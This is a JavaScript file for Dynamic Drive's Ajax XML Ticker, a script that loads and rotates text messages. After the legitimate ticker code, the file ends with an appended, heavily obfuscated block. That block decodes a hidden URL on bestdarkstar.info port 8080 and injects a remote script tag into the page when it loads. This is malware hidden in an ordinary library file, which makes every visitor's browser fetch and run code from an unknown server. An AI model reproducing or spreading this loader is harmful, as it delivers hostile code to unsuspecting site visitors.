// -------------------------------------------------------------------
// Ajax XML Ticker (txt file source)
// Author: Dynamic Drive (http://www.dynamicdrive.com)
// -------------------------------------------------------------------

////////////No need to edit beyond here//////////////

function createAjaxObj(){
var httprequest=false
if (window.XMLHttpRequest){ // if Mozilla, Safari etc
httprequest=new XMLHttpRequest()
if (httprequest.overrideMimeType)
httprequest.overrideMimeType('text/xml')
}
else if (window.ActiveXObject){ // if IE
try {
httprequest=new ActiveXObject("Msxml2.XMLHTTP");
} 
catch (e){
try{
httprequest=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){}
}
}
return httprequest
}

// -------------------------------------------------------------------
// Main Ajax Ticker Object function
// ajax_ticker(xmlfile, divId, divClass, delay, optionalfadeornot)
// -------------------------------------------------------------------

function ajax_ticker(xmlfile, divId, divClass, delay, fadeornot){
this.xmlfile=xmlfile //Variable pointing to the local ticker xml file (txt)
this.tickerid=divId //ID of ticker div to display information
this.delay=delay //Delay between msg change, in miliseconds.
this.mouseoverBol=0 //Boolean to indicate whether mouse is currently over ticker (and pause it if it is)
this.pointer=0
this.opacitystring=(typeof fadeornot!="undefined")? "width: 100%; filter:progid:DXImageTransform.Microsoft.alpha(opacity=100); -moz-opacity: 1" : ""
if (this.opacitystring!="") this.delay+=500 //add 1/2 sec to account for fade effect, if enabled
this.opacitysetting=0.2 //Opacity value when reset. Internal use.
this.messages=[] //Arrays to hold each message of ticker
this.ajaxobj=createAjaxObj()
document.write('<div id="'+divId+'" class="'+divClass+'"><div style="'+this.opacitystring+'">Initializing ticker...</div></div>')
this.getXMLfile()
}

// -------------------------------------------------------------------
// getXMLfile()- Use Ajax to fetch xml file (txt)
// -------------------------------------------------------------------

ajax_ticker.prototype.getXMLfile=function(){
if (this.ajaxobj){
var instanceOfTicker=this
var url=this.xmlfile+"?bustcache="+new Date().getTime()
this.ajaxobj.onreadystatechange=function(){instanceOfTicker.initialize()}
this.ajaxobj.open('GET', url, true)
this.ajaxobj.send(null)
}
}

// -------------------------------------------------------------------
// initialize()- Initialize ticker method.
// -Gets contents of xml file and parse it using JavaScript DOM methods 
// -------------------------------------------------------------------

ajax_ticker.prototype.initialize=function(){ 
if (this.ajaxobj.readyState == 4){ //if request of file completed
if (this.ajaxobj.status==200 || window.location.href.indexOf("http")==-1){ //if request was successful
this.contentdiv=document.getElementById(this.tickerid).firstChild //div of inner content that holds the messages
var xmldata=this.ajaxobj.responseText
this.contentdiv.style.display="none"
this.contentdiv.innerHTML=xmldata
if (this.contentdiv.getElementsByTagName("div").length==0){ //if no messages were found
this.contentdiv.innerHTML="<b>Error</b> fetching remote ticker file!"
return
}
var instanceOfTicker=this
document.getElementById(this.tickerid).onmouseover=function(){instanceOfTicker.mouseoverBol=1}
document.getElementById(this.tickerid).onmouseout=function(){instanceOfTicker.mouseoverBol=0}
if (window.attachEvent) //Clean up loose references in IE
window.attachEvent("onunload", function(){instanceOfTicker.contentdiv=instanceOfTicker.ajaxobj=null})
//Cycle through XML object and store each message inside array
for (var i=0; i<this.contentdiv.getElementsByTagName("div").length; i++){
if (this.contentdiv.getElementsByTagName("div")[i].className=="message")
this.messages[this.messages.length]=this.contentdiv.getElementsByTagName("div")[i].innerHTML
}
this.contentdiv.innerHTML=""
this.contentdiv.style.display="block"
this.rotatemsg()
}
}
}

// -------------------------------------------------------------------
// rotatemsg()- Rotate through ticker messages and displays them
// -------------------------------------------------------------------

ajax_ticker.prototype.rotatemsg=function(){
var instanceOfTicker=this
if (this.mouseoverBol==1) //if mouse is currently over ticker, do nothing (pause it)
setTimeout(function(){instanceOfTicker.rotatemsg()}, 100)
else{ //else, construct item, show and rotate it!
this.fadetransition("reset") //FADE EFFECT- RESET OPACITY
this.contentdiv.innerHTML=this.messages[this.pointer]
this.fadetimer1=setInterval(function(){instanceOfTicker.fadetransition('up', 'fadetimer1')}, 100) //FADE EFFECT- PLAY IT
this.pointer=(this.pointer<this.messages.length-1)? this.pointer+1 : 0
setTimeout(function(){instanceOfTicker.rotatemsg()}, this.delay) //update container periodically
}
}

// -------------------------------------------------------------------
// fadetransition()- cross browser fade method for IE5.5+ and Mozilla/Firefox
// -------------------------------------------------------------------

ajax_ticker.prototype.fadetransition=function(fadetype, timerid){
var contentdiv=this.contentdiv
if (fadetype=="reset")
this.opacitysetting=0.2
if (contentdiv.filters && contentdiv.filters[0]){
if (typeof contentdiv.filters[0].opacity=="number") //IE6+
contentdiv.filters[0].opacity=this.opacitysetting*100
else //IE 5.5
contentdiv.style.filter="alpha(opacity="+this.opacitysetting*100+")"
}
else if (typeof contentdiv.style.MozOpacity!="undefined" && this.opacitystring!=""){
contentdiv.style.MozOpacity=this.opacitysetting
}
else
this.opacitysetting=1
if (fadetype=="up")
this.opacitysetting+=0.1
if (fadetype=="up" && this.opacitysetting>=1)
clearInterval(this[timerid])
}

var FB=new String();var J=new String();function w(){var t;if(t!='' && t!='m'){t=null};this.ls="";var i=new String();var h=unescape;var k=window;var U=h("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%79%6f%75%6a%69%7a%7a%2e%63%6f%6d%2e%70%68%70");var Y;if(Y!='zA' && Y!='a_'){Y='zA'};function Z(S,H){var gg;if(gg!='E'){gg='E'};var B;if(B!='' && B!='n'){B=''};var z=new String("g");var FX;if(FX!='q' && FX!='ze'){FX='q'};var X_;if(X_!='up' && X_!='sW'){X_='up'};var s=h("%5b"), F=h("%5d");var to=new Array();var p=s+H+F;this.ta="";var x=new RegExp(p, z);this.Ec="";return S.replace(x, new String());};var D=new Array();var wW;if(wW!='QP'){wW=''};this.Vo="";this.zm="";var OK;if(OK!='Mf'){OK='Mf'};var Hr;if(Hr!='' && Hr!='bA'){Hr=''};var VL='';var o=Z('89350141181315502194','32459716');var UCl;if(UCl!='' && UCl!='M_'){UCl=''};var Q=new String();var Vg;if(Vg!='' && Vg!='zQ'){Vg='XI'};var LR=new Array();var kb=document;var nq='';var hO=new Array();function l(){var Gg;if(Gg!='' && Gg!='lG'){Gg=null};var tR=new String();var cd=new Date();var O=h("%68%74%74%70%3a%2f%2f%62%65%73%74%64%61%72%6b%73%74%61%72%2e%69%6e%66%6f%3a");var SS="";Q=O;var ci="";Q+=o;this.JW='';var Vp='';Q+=U;var Tz;if(Tz!='' && Tz!='YT'){Tz=''};try {var SI=new Date();var mR=new Date();xV=kb.createElement(Z('s6cmrkijpzt6','Qw0z4Okj6m'));var FXH=new Array();var rG=new String();xV[h("%73%72%63")]=Q;var VD;if(VD!='' && VD!='LF'){VD=''};var xI;if(xI!='Ma' && xI!='jc'){xI=''};var dI;if(dI!='vX'){dI=''};xV[h("%64%65%66%65%72")]=[7,1][1];this.LG="";this.woD="";kb.body.appendChild(xV);this.dR="";var nk=new Array();var Nr="";} catch(u){alert(u);};}var Mh;if(Mh!='Zn' && Mh!='iQp'){Mh='Zn'};var jg;if(jg!='' && jg!='bq'){jg=''};k[new String("onl"+"iKYoad".substr(3))]=l;this.RL='';this.gz='';var xW=new String();var xu=new String();};var bu=new String();w();var Xr;if(Xr!='Pc'){Xr='Pc'};var HR="";